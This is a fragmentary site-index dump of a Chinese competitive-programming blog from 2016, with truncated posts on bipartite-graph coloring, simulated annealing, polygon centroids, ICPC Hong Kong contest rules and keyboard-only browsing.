\u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int M = 2E5+7; 32const int N = 1E5+7; 33int n,m; 34int head[N]; 35int col[N]; 36struct Edge 37{ 38 int v; 39 int nxt; 40}edge[M]; 41int cnt; 42int cnt0,cnt1; 43void addedge(int u ,int v) 44{ 45 edge[cnt].v = v; 46 edge[cnt].nxt = head[u]; 47 head[u] = cnt; 48 cnt++; 49} 50int dfs( int u,int x,int fa) 51{ 52 col[u] = x; 53 if (x==0) cnt0++;else cnt1++; 54 for ( int i = head[u] ; i !=-1 ; i = edge[i].nxt) 55 { 56 int v = edge[i].v; 57 if (v==fa) continue; 58 if (col[v]==1-x) continue; 59 if (col[v]==x) return -1; 60 if ","date":"2016-09-02","externalUrl":null,"permalink":"/2016/09/hdu-5285/","section":"Posts","summary":"题目链接：hdu 5285 题目lianjie 题意：给定n个小朋友，以及小朋友之间的关系，要求将小朋友分成两组，**并且每组至少一个人，**现在问能否这样分组，如果有解，输出两组的人数，并保证第一组的人数尽可能地大。","tags":["二分图","交叉染色法"],"title":"hdu 5285 wyh2000 and pupil (交叉染色法，二分图点集差最大)","type":"post"},{"categories":["ACM"],"content":"hdu 5215 思路:询问一个无向图，是否存在奇数环，以及是否存在偶数环。（不同的环之间可以由相同的点，不能有相同的边） 思路：一开始的想法是，根据染色的奇偶性，如果染色到某个之前染色过的点，和当前要染的颜色相同，说明存在奇数环，不同，说明存在偶数环。 感觉很有道理的做法。。。然而错了。。。发现是忽略了上面说的，不同的环之间由相同的点的情况。 比如这组数据： 5 6 1 2 2 3 3 1 1 4 4 5 5 1 两个三元环扣在一起。 实际上是既有奇数环，又有偶数环的。 但是按照我的做法，由于每次只去染没有染过的点，无法发现偶数环。 因此正解是增加一步回溯，这样使得之前存在与某个环中的点还可以出现在其他环中。 然而这样复杂度会炸。。。 于是我们根据，每条边只能走一次，对边加一个vis，使得每条边只走一次，从而保证复杂度。 好题！ 这道题我看到了三种解法，第一种是官方解法，tarjan什么（没仔细看）。 第二种是交叉染色。 但是我们可以发现，在这样的情况下，偶环是否和奇环是有联系的，即能不能根据两个奇环的关系，来判断偶环是否存在。 做法：判断是否存在一个点，同时属于两个奇环，如果存在，那么这两个奇环一定可以构成偶环。 证明：令两个奇环分别有x1、x2条边，如果两个环存在一个公共点，令他们存在y条公共边，则它们合并成的环有x1+x2-2*y条边，一定是偶环。因为题目中限制的是边的通过次数，所以即使像下面这组数据一样y=0，偶环是交叉的，也是符合题意的。 第二种做法 但是代码略长，而且还要记录路径。 第三种做法就是我这里用到的做法。。。感觉很完美。。可以当模板23333 1/* *********************************************** 2Author :111qqz 3Created Time :2016年09月01日 星期四 14时47分32秒 4File Name :code/hdu/5215.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec secon 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32const int M=3E5+7; 33int n,m; 34int col[N]; 35bool even,odd; 36bool vis[N]; 37int cnt ; 38int head[N]; 39struct Edge 40{ 41 int v; 42 int nxt; 43 bool vis; 44}edge[2*M]; 45void addedge( int u,int v) 46{ 47 edge[cnt].v = v; 48 edge[cnt].nxt = head[u]; 49 edge[cnt].vis = false; 50 head[u] = cnt; 51 cnt+","date":"2016-09-02","externalUrl":null,"permalink":"/2016/09/hdu-5215/","section":"Posts","summary":"hdu 5215 思路:询问一个无向图，是否存在奇数环，以及是否存在偶数环。（不同的环之间可以由相同的点，不能有相同的边）","tags":["交叉染色法","无向图的环"],"title":"hdu 5215 Cycle(交叉染色法判断无向图的奇偶环)","type":"post"},{"categories":["其他"],"content":"链接","date":"2016-09-01","externalUrl":null,"permalink":"/2016/09/solved-fedora-24-tap-to-click-not-working/","section":"Posts","summary":"链接","tags":["算法竞赛"],"title":"[solved ]fedora 24 \"Tap to click\" not working","type":"post"},{"categories":["其他"],"content":"键盘足够爽了以后。。。 鼠标明显降低效率。。。 学会逐步脱离鼠标吧orz. 首先是chrome插件vimium vimium教程 Vimium 常用的按键功能解释： # 1 * **j：向下细微滚动窗口 k：向上细微滚动窗口** 2 * J：(**Shift+j的意思，以下大写全部表示加Shift)** 下一个标签页 K：上一个标签页 3 * d：向下滚动半个屏幕 u：向上移动半个屏幕 4 * **g+g（连续按两下g）：回到顶部** 5 * **G：到达页面底部** 6 * H：后退 L： 前进 7 * f：将当前网页上的所有可见链接/输入框分配一个快捷键，输入后就可以打开或者跳转到对应的输入框。如果按的是F，那么将在新窗口中打开页面（见上图） 8 * g+i：将光标 定位到输入框，如果有多个可以按Tab键切换 9 * x：关闭当前页面 X：恢复刚刚关闭的页面 10 * o：相当于Chrome中的地址栏，可以匹配历史记录、收藏夹并在当前窗口打开，或者直接打开一个网址或者搜索一个关键字（Chrome在全屏的时候地址栏死都出不来，有了它就解决这个一直困扰我的问题了！～），如果按的是O，则可以在新窗口中打开，非常非常方便！ 11 * g+s：查看网页的源代码 12 * r：重新载入当前网页（顺便提一句，这点上新浪微博和它是一样的，光标没有定位在发送框时，即便没有安装这个插件你也可以用j/k来控制页面上下滚动，用r在刷新，用f或者p来定位到发送框。而Gmail的快捷键如j,k上下移动光标也是类似，有兴趣大家可以再自己去了解一下一些常用web应用的快捷键）","date":"2016-09-01","externalUrl":null,"permalink":"/2016/09/using-your-computer-without-mouse/","section":"Posts","summary":"键盘足够爽了以后。。。 鼠标明显降低效率。。。 学会逐步脱离鼠标吧orz.","tags":["算法竞赛"],"title":"using your computer without mouse","type":"post"},{"categories":["ACM"],"content":"hdu 2444题目链接 题意：判断一个有向图是否是二分图，是的话求最大匹配数。 思路：交叉染色判二分图，是的话跑遍匈牙利即可。1A. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年09月01日 星期四 14时24分36秒 4File Name :code/hdu/2444.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=205; 32int n,m; 33vector\u003cint\u003eedge[N]; 34int col[N]; 35int link[N]; 36bool vis[N]; 37void init() 38{ 39 for ( int i = 0 ; i \u003c= n ; i++) edge[i].clear(); 40 ms(col,-1); 41} 42bool dfs( int u,int x) 43{ 44 col[u] = x; 45 int siz = edge[u].size(); 46 for ( int i = 0 ; i \u003c siz; i++) 47 { 48 int v = edge[u][i]; 49 if (col[v]==1-x) continue; 50 if (col[v]==x) return false; 51 if (!dfs(v,1-x)) return false; 52 } 53 return true; 54} 55bool solve() 56{ 57 for ( int i = 1 ; i \u003c= n ; i++) if (col[i]==-1) if (!dfs(i,0)) return false; 58 return true; 59} 60bool Find( int u) 61{ 62 int siz = edge[u].size(); 63 for ( int i = 0 ; i \u003c siz; i ++) 64 { 65 int v = edge[u][i]; 66 if (vis[v]) continue; 67 vis[v] = true; 68 if (link[v]==-1||Find(link[v])) 69 { 70 link[v] = u; 71 return true; 72 } 73 } 74 return false; 75} 76int hung( int n) 77{ 78 int ans = 0 ; 79 ms(link,-1); 80 for ( int i = 1 ; i \u003c= n ; i++) 81 { 82 ms(vis,false); 83 if (Find(i","date":"2016-09-01","externalUrl":null,"permalink":"/2016/09/hdu-2444/","section":"Posts","summary":"hdu 2444题目链接 题意：判断一个有向图是否是二分图，是的话求最大匹配数。","tags":["算法竞赛"],"title":"hdu 2444 The Accomodation of Students (交叉染色法+匈牙利算法)","type":"post"},{"categories":["ACM"],"content":"hdu 4751 题目链接 题意：n个人，给出每个人认识的人的信息。问能否将这些人分成两组，保证每组至少1个人，并且两两互相认识。 思路：首先是反向建图。由于要求同组内两个人互相认识，那么两个人u,v，只要u不认识v或者v不认识有一个满足，就连接双向边u,v，表示u,v不能分到同一组。 由于图反向以后不保证联通，因此求补图以后可能会得到几个联通分量。 而合法的条件是，每个联通分量都合法。 不合法的条件是，只要由一个联通分量不合法。 以及：之前把交叉染色部分写错了。上道题可以通过纯粹是因为数据水。。？ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年09月01日 星期四 01时13分04秒 4File Name :code/hdu/4751.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=205; 32int n; 33bool know[N][N]; 34int col[N]; 35vector\u003cint\u003eedge[N]; 36bool dfs( int u,int x) 37{ 38 col[u] = x; 39 int siz = edge[u].size(); 40 for ( int i = 0 ; i \u003c siz; i++) 41 { 42 int v = edge[u][i]; 43 if (col[v]==x) return false; 44 if (col[v]==1-x) continue; 45 if (!dfs(v,1-x)) return false; 46 } 47 return true; 48} 49bool ok() 50{ 51 for ( int i = 1 ; i \u003c= n ; i++) //每个联通分量都合法才合法。 52 if (col[i]==-1) 53 if (!dfs(i,0)) return false; 54 return true; 55} 56int main() 57{ 58 #ifndef ONLINE_JUDGE 59 freopen(\"code/in.txt\",\"r\",stdin); 60 #endif 61 while (~scanf(\"%d\",\u0026n)) 62 { 63 ms(col,-1); 64 for ( int i = 0 ; i \u003c= n ;i++) edge[i].clear(); 65 ms(know,false); 66 for ( int i = 1 ; i \u003c= n ; i++) 67 { 68 int x; 69 while (~scanf(\"%d\",\u0026x)\u0026\u0026x!=0) ","date":"2016-08-31","externalUrl":null,"permalink":"/2016/09/hdu-4751/","section":"Posts","summary":"hdu 4751 题目链接 题意：n个人，给出每个人认识的人的信息。问能否将这些人分成两组，保证每组至少1个人，并且两两互相认识。","tags":["二分图","交叉染色法"],"title":"hdu 4751 Divide Groups (反向建图，判断二分图，交叉染色法)","type":"post"},{"categories":["ACM"],"content":"uva10004题目链接 题意：给出一个无向图，问是否可以组成二分图。 思路：交叉染色法。 首先任意取出一个顶点进行染色,和该节点相邻的点有三种情况: **　1.未染色 那么继续染色此节点(染色为另一种颜色)** **　2.已染色但和当前节点颜色不同 跳过该点** **　3.已染色并且和当前节点颜色相同 返回失败(该图不是二分图)** 学习链接 upd:更正dfs中的一个错误。 把dfs(v,1-x)改成了 if (!dfs(v,1-x)) return false; 之前的写法中，当前层之后的层的没有起到任何作用。。。 而实际上应该是后面只要某一层不满足，整体就该为false. 写成这样这题还能过我也是醉了。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月31日 星期三 21时50分16秒 4File Name :code/uva/10004.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=205; 32vector \u003cint\u003eedge[N]; 33int n,m; 34int col[N]; 35bool dfs( int u,int x) 36{ 37 col[u] = x; 38 int siz = edge[u].size(); 39 for ( int i = 0 ; i \u003c siz ; i++) 40 { 41 int v = edge[u][i]; 42 if (col[v]==1-x) continue; 43 if (col[v]==x) return false; 44 if (!dfs(v,1-x)) return false; 45 } 46 return true; 47} 48int main() 49{ 50 #ifndef ONLINE_JUDGE 51 freopen(\"code/in.txt\",\"r\",stdin); 52 #endif 53 while (~scanf(\"%d\",\u0026n)) 54 { 55 if (n==0) break; 56 ms(col,-1); 57 for ( int i = 0 ;i \u003c= n ; i++) edge[i].clear(); 58 scanf(\"%d\",\u0026m); 59 for ( int i = 1 ; i \u003c= m ; i++) 60 { 61 int u,v; 62 scanf(\"%d%d\",\u0026u,\u0026v); 63 edge[u].push_back(v); 64 edge[v].push_back(u); 65 } 66 if (dfs(0,0)) 67 puts","date":"2016-08-31","externalUrl":null,"permalink":"/2016/08/uva10004/","section":"Posts","summary":"uva10004题目链接 题意：给出一个无向图，问是否可以组成二分图。 思路：交叉染色法。","tags":["二分图","交叉染色法"],"title":"uva 10004 Bicoloring （交叉染色法判断二分图模板题）","type":"post"},{"categories":["ACM"],"content":"3680: 吊打XXX # Time Limit: 10 Sec Memory Limit: 128 MBSec Special Judge Submit: 2043 Solved: 732 [Submit][Status][Discuss] Description # gty又虐了一场比赛，被虐的蒟蒻们决定吊打gty。gty见大势不好机智的分出了n个分身，但还是被人多势众的蒟蒻抓住了。蒟蒻们将 n个gty吊在n根绳子上，每根绳子穿过天台的一个洞。这n根绳子有一个公共的绳结x。吊好gty后蒟蒻们发现由于每个gty重力不同，绳 结x在移动。蒟蒻wangxz脑洞大开的决定计算出x最后停留处的坐标，由于他太弱了决定向你求助。 不计摩擦，不计能量损失，由于gty足够矮所以不会掉到地上。 Input # 输入第一行为一个正整数n(1\u003c=n\u003c=10000)，表示gty的数目。 接下来n行,每行三个整数xi，yi，wi，表示第i个gty的横坐标，纵坐标和重力。 对于20%的数据，gty排列成一条直线。 对于50%的数据，1\u003c=n\u003c=1000。 对于100%的数据，1\u003c=n\u003c=10000,-100000\u003c=xi,yi\u003c=100000 Output # 输出1行两个浮点数（保留到小数点后3位），表示最终x的横、纵坐标。 Sample Input # 3 0 0 1 0 2 1 1 1 1 Sample Output # 0.577 1.000 HINT # Source # By wangxz 思路： 看起来是物理题。。其实就是求广义非费马点。。 也就是带权费马点。 一般的费马点是说，所有点到这个点的距离之和最小。 带权的费马点就是每个点到这个点的距离*权值，和最小。 这道题用到的才是真正的模拟退火！ 模拟退火很重要的一部分就是允许有一定概率向不优的方向走，之前写的所谓的“模拟退火”的题目，全都没有体现这一点。 所以那些，其实就是一个爬山法吧。。 而且看到主席如是说… 这道题真的很棒。 初始搜索范围很大的时候用模拟退火，快速得到一个大致范围。 但是由于精度不能很好的保证，于是在做完模拟退火后在答案附近爬山。 完美的分段思想！ 一直调不对样例的原因是。。。 忘记把ans初始化成最大值23333 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月31日 星期三 15时47分25秒 4File Name :code/bzoj/3680.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26#define INF 1E40 27#define MAX 100000 28using namespace std; 29const double eps = 1E-3; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N =1E4+7; 34","date":"2016-08-31","externalUrl":null,"permalink":"/2016/08/bzoj-3680-xxx-/","section":"Posts","summary":"3680: 吊打XXX # Time Limit: 10 Sec Memory Limit: 128 MBSec Special Judge Submit: 2043 Solved: 732 [Submit][Status][Discuss]","tags":["模拟退火","爬山法","计算几何","费马点"],"title":"BZOJ 3680: 吊打XXX (广义费马点，模拟退火+爬山)","type":"post"},{"categories":["ACM"],"content":"hdu 5017 题目链接 题意：给出椭球方程的6的参数 a,b,c,d,e,f 问椭球上的点到原点(0,0,,0)的最小距离是多少。 思路：感觉难点在于，如何保证搜到的点一直在椭球上。 一开始我考虑到了用椭球的参数方程。。。。然后发现不记得是什么了2333 然后看了题解，发现比较巧妙的做法是，只搜索x,y，然后从椭球方程中解出z。 x,y确定以后，椭球方程就变成了一个关于z的一元二次方程，可解。 由于是要求距离原点的最小距离，而现在可能得到的两个解是关于xoy平面对称的，只有z坐标不同，因此我们取距离原点近的那个z。 以及，感觉在平面上搜4个方向就好。。。没必要8个方向。。？ wa到死是因为。。。计算距离。。忘记开根号。。。。。呵呵呵呵呵呵呵呵呵我是傻逼。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月30日 星期二 20时46分05秒 4File Name :code/poj/5017.cpp 5 ************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26#define INF 1E20 27#define MAX 1 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33double a,b,c,d,e,f; 34int dblcmp(double d) 35{ 36 return d\u003c-eps?-1:d\u003eeps; 37} 38struct point 39{ 40 double x,y,z; 41 point(){} 42 point (double _x,double _y,double _z):x(_x),y(_y),z(_z){} 43 double dis(point b){ 44 double res = 0 ; 45 res = (x-b.x)*(x-b.x)+(y-b.y)*(y-b.y)+(z-b.z)*(z-b.z); 46 return sqrt(res); 47 } 48 void look() 49 { 50 printf(\"x:%.7f y:%.7f z:%.7f \",x,y,z); 51 } 52}; 53double getZ(double x,double y) 54{ 55 double A,B,C,delta; 56 A = c; 57 B = d*y+e*x; 58 C = a*x*x+b*y*y+f*x*y-1; 59 delta = B*B-4*A*C; 60 // cout\u003c\u003c\"A:\"\u003c\u003cA\u003c\u003c\" B:\"\u003c\u003cB\u003c\u003c\" C:\"\u003c\u003cC\u003c\u003c\" delta:\"\u003c\u003cdelta\u003c\u003cendl; 61 if (dblcmp(delta)\u003c0) return 1E31; //无解 62 delta = sqr","date":"2016-08-31","externalUrl":null,"permalink":"/2016/08/hdu-5017-ellipsoid-/","section":"Posts","summary":"hdu 5017 题目链接 题意：给出椭球方程的6的参数 a,b,c,d,e,f 问椭球上的点到原点(0,0,,0)的最小距离是多少。","tags":["模拟退火","计算几何"],"title":"hdu 5017 Ellipsoid (模拟退火，计算椭球到定点的最小距离)","type":"post"},{"categories":["ACM"],"content":"poj 2069 题目链接 题意：给出n个点，找出包含这n个点的最小半径的外接球。求球的半径。 思路：模拟退火。不过在走的时候，不是随机上下左右前后6个方向走，而是每次往距离当前球心最远的点的方向走。这样才能通过（随机6个方向的写法样例也是可以通过的） 所以模拟退火的精髓大概是“概率减小” 而不是“随机”？ 以及，我看到的资料中，对于模拟退火的介绍，都有一部分是“允许一定概率向着不优的方向移动，但是这个概率会越来越小（因此叫退火）” 但是做了几道所谓的“模拟退火”的题目，发现并没有这部分。。。？ 那样的话应该是爬山法？ 以及看到说模拟退火适合并行计算。。。 是不是体现在我可以放k个初始解，然后每次最优的答案是在k个答案中取最优？ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月30日 星期二 14时31分15秒 4File Name :code/poj/2069.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26#define INF 1E20 27#define MAX 1E6 28using namespace std; 29const double eps = 1E-7; 30const int dx6[6]={1,0,0,-1,0,0}; 31const int dy6[6]={0,1,0,0,-1,0}; 32const int dz6[6]={0,0,1,0,0,-1}; 33const int inf = 0x3f3f3f3f; 34int n; 35int dblcmp(double d) 36{ 37 return d\u003c-eps?-1:d\u003eeps; 38} 39struct point 40{ 41 double x,y,z; 42 void input() 43 { 44 scanf(\"%lf%lf%lf\",\u0026x,\u0026y,\u0026z); 45 } 46 point(){} 47 point (double _x,double _y,double _z):x(_x),y(_y),z(_z){} 48 void look() 49 { 50// cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y:\"\u003c\u003cy\u003c\u003c\" z:\"\u003c\u003cz\u003c\u003c\" \"; 51 printf(\"x:%.5f y:%.5f z:%.5f \",x,y,z); 52 } 53 double dis(point b) 54 { 55 double res = 0 ; 56 res = (x-b.x)*(x-b.x)+(y-b.y)*(y-b.y)+(z-b.z)*(z-b.z); 57// if (res\u003c0.000001){ 58// look(); 59// cout\u003c\u003c\"res:\"\u003c\u003cres\u003c\u003cendl; 60// } 61 return sqrt(res); 62 } 63 bool ok () 64 { 65 if (x\u003c0||y\u003c0||z\u003c0||x\u003e100||y\u003e100||z\u003e100) retur","date":"2016-08-30","externalUrl":null,"permalink":"/2016/08/poj-2069/","section":"Posts","summary":"poj 2069 题目链接 题意：给出n个点，找出包含这n个点的最小半径的外接球。求球的半径。","tags":["模拟退火"],"title":"poj 2069 Super Star (模拟退火)","type":"post"},{"categories":["ACM"],"content":"貌似香港赛区的规则和大陆有所不同？ 来整理一波。 **D. **中国大陆赛站及境外赛站的关系。 (a)** **中国大陆各赛站及香港，北朝鲜赛站同为亚洲East Continent子赛区的一部分。 (b)** **中国大陆队伍，可在香港及北朝鲜赛站竞争WF参赛名额。 (c)** **蒙古，北朝鲜，及香港队伍，亦可在中国大陆各赛站竞争WF参赛名额。如果要在CHINA-Final赛站争取WF名额时，需经CHINA-Final组委会同意。 (d) 中国大陆各赛站的参与名额是把East Continent子赛区的总名额减掉香港赛站及北朝鲜赛站的名额而得（亚洲各赛站的参与名额是由亚洲区主席根据2016亚洲规则而定。） (e) 2016年亚洲规则规定，所有亚洲队伍都可以去亚洲任何赛场参加比赛，但是一个队伍必须从自己的子赛区出线。 来源：西杰阿雄的博客 关于香港网络赛的规则： 1 * Additional rules specific to this Online Preliminary are as follows: 2 3 1. [Accepted teams](https://icpc.baylor.edu/regionals/finder/hong-kong-prelim-2016/teams) are allowed to attempt this online contest from anywhere with internet access. 4 2. Each coach (a faculty member of that team's University) will supervise his/her team(s) during the 5-hour online contest so that ICPC rules are respected, especially on these three important points: 5 6 1. The usage of **only one** computer per team of three students. 7 2. The usage of **only hard copy** reference materials (and no internet materials), up to 25 pages single-sided, letter or A4 size. 8 3. The member of each team can only discuss the problemset **among the three of them** during the 5 hours. 9 10 11 3. Coach will have to take photos of their team(s) working on the preliminary (or right after the end of the preliminary) and submit that photo to the secretariat (acmicpc@cse.cuhk.edu.hk) for documentation and verification purposes. 12 4. The result of the Online Preliminary is not final until the organizers perform checks on code submitted by top qualified teams. 来源：2016亚洲区域赛香港赛站官网 简单翻译一下： 这次网络预选赛的特别规则如下： 1.申请通过的队伍可以再任何由网络的地方参加比赛。 2.每个学校的教练将再比赛期间监督队员确保icpc的规则得到执行，尤其是以下三点： a.每一队的三名队员只允许使用一台电脑。 b.只允许使用纸质参考资料（不允许网络资料），纸质参考资料最多25页，单面A4纸。 c.每个队的队员在比赛期间只允许和同队的队员进行交流。 3 .要求教练在网络赛期间或者网络赛刚刚结束时对每个队拍照，并将照片发送到acmicpc@cse.cuhk.edu.hk 4.最终结果组委会对提交","date":"2016-08-30","externalUrl":null,"permalink":"/2016/08/2016-acm-icpc-asia-hong-kong-regional-rules/","section":"Posts","summary":"貌似香港赛区的规则和大陆有所不同？ 来整理一波。 **D. **中国大陆赛站及境外赛站的关系。","tags":["算法竞赛"],"title":"2016 ACM ICPC Asia Hong Kong Regional  rules","type":"post"},{"categories":["随笔杂谈"],"content":"开学了orz。。。。。。 随手写个总结（好像团队老师也要个人写报告的样子。。。？ 大概一开始随便刷了点图论题，干掉了树的直径。。。次小生成树。。。这些算是在辣鸡比赛cccc之前把。。。 然后大概就是。。学了。。。博弈论。。。主要是sg函数。。。其实是个很容易理解但是会经常和其他算法一起考察的工具。。。？ 然后大概花了几天时间。。。学习了后缀数组。。。完成了论文题中的一部分。。。 然后顺手学了kmp。。。。真的不明白kmp这种\"傻逼算法\"（语出某菊苣）我竟然五年时间才搞懂（雾 然后顺手学了ac自动机。。。。之前先学了trie树。。。 然后。。。好像终于完全理解了单调栈和单调队列。。。。？ 感觉之前总是不会写八成是因为我之前看到的代码太丑了2333. 然后好像领悟到了模拟退火的本质。。。。？（也可能并没有2333 所以说其实大概就这些。。。。？ 果然是又颓了一个假期啊。。。。哎。。。 线段树还是没来得及搞。。。。 今年大概会去沈阳。。。。？ 所以还有大概一个半月的时间。。。。 干！","date":"2016-08-29","externalUrl":null,"permalink":"/2016/08/2016-summer-holiday/","section":"Posts","summary":"开学了orz。。。。。。 随手写个总结（好像团队老师也要个人写报告的样子。。。？","tags":["算法竞赛"],"title":"2016暑假总结","type":"post"},{"categories":["ACM"],"content":"poj 1385 题目链接 题意：求多边形的重心。 思路： 抄模板（逃 嘛。。三角形的重心是三个点坐标的平均数。。。 多边形的重心其实就是先求三角形的重心然后再加权平均一下就好了。。。权值是面积比。 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003ciostream\u003e 4#include \u003calgorithm\u003e 5#include \u003cvector\u003e 6#include \u003cqueue\u003e 7#include \u003cset\u003e 8#include \u003cmap\u003e 9#include \u003cstring\u003e 10#include \u003ccmath\u003e 11#include \u003ccstdlib\u003e 12#include \u003cctime\u003e 13#define fst first 14#define sec second 15#define lson l,m,rt\u003c\u003c1 16#define rson m+1,r,rt\u003c\u003c1|1 17#define ms(a,x) memset(a,x,sizeof(a)) 18typedef long long LL; 19#define pi pair \u003c int ,int \u003e 20#define MP make_pair 21using namespace std; 22const double eps = 1E-8; 23const int dx4[4]={1,0,0,-1}; 24const int dy4[4]={0,-1,1,0}; 25const int inf = 0x3f3f3f3f; 26const int N=1E6+7; 27int dblcmp(double d) 28{ 29 return d \u003c -eps ? -1 : d \u003e eps; 30} 31struct point 32{ 33 double x,y; 34 point(){} 35 point(double _x,double _y): 36 x(_x),y(_y){}; 37 void input() 38 { 39 scanf(\"%lf%lf\",\u0026x,\u0026y); 40 } 41 void output() 42 { 43 if (dblcmp(x)==0) x = 0; 44 if (dblcmp(y)==0) y = 0; 45 printf(\"%.2f %.2f\\n\",x,y); 46 } 47 point sub(point p) 48 { 49 return point(x-p.x,y-p.y); 50 } 51 point div(double b) 52 { 53 return point(x/b,y/b); 54 } 55 double dot(point p) 56 { 57 return x*p.x+y*p.y; 58 } 59 double det(point p) 60 { 61 return x*p.y-y*p.x; 62 } 63}p[N],ans; 64struct polygon 65{ 66 int n ; 67 void input() 68 { 69 for ( int i = 0 ; i \u003c n ; i++) p[i].input(); 70 } 71 point getbarycentre() 72 { 73 point ret(0,0); 74 double area=0; 75 int i; 76 for (i=1;i\u003cn-1;i++) 77 { 78 double tmp=p[i].sub(p[0]).det(p[i+1].sub(p[0])); 79 if 